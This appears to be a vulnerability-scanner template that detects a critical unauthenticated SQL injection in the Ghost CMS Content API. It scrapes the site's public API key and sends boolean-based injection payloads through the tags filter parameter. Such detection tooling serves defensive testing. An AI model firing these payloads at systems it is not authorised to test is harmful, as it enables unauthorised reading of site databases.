id: CVE-2026-26980

info:
  name: Ghost - SQL Injection
  author: vedas-arpsyndicate
  severity: critical
  description: |
    Ghost is a Node.js content management system. Versions 3.24.0 through 6.19.0 allow unauthenticated attackers
    to perform arbitrary reads from the database.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-26980&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=ghost&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
    cvss-score: 9.4
    cve-id: CVE-2026-26980
    cwe-id: CWE-89
  metadata:
    verified: false
  tags: cve,cve2026,ghost,ghostcms,sqli,vuln,vkev
flow: |
  http(1) && http(2) && http(3)

http:
  - id: extract-api-key
    method: GET
    path:
      - "{{BaseURL}}"

    host-redirects: true
    max-redirects: 2

    extractors:
      - type: regex
        name: api_key
        part: body
        group: 1
        regex:
          - 'data-key="([a-f0-9]{20,})"'
        internal: true

  - id: extract-first-slug
    method: GET
    path:
      - "{{BaseURL}}/ghost/api/content/tags/?key={{api_key}}&filter=slug:-null"

    extractors:
      - type: json
        part: body
        name: first_slug
        json:
          - '.tags[0].slug'
        internal: true

  - id: check-sqli
    method: GET
    path:
      - "{{BaseURL}}/ghost/api/content/tags/?key={{api_key}}&filter=slug:['||CASE WHEN 1=1 THEN 0 ELSE EXP(710) END||',{{first_slug}}]"
      - "{{BaseURL}}/ghost/api/content/tags/?key={{api_key}}&filter=slug:['||CASE WHEN 1=0 THEN 0 ELSE EXP(710) END||',{{first_slug}}]"

    matchers:
      - type: dsl
        dsl:
          - "len(body_1) != len(body_2)"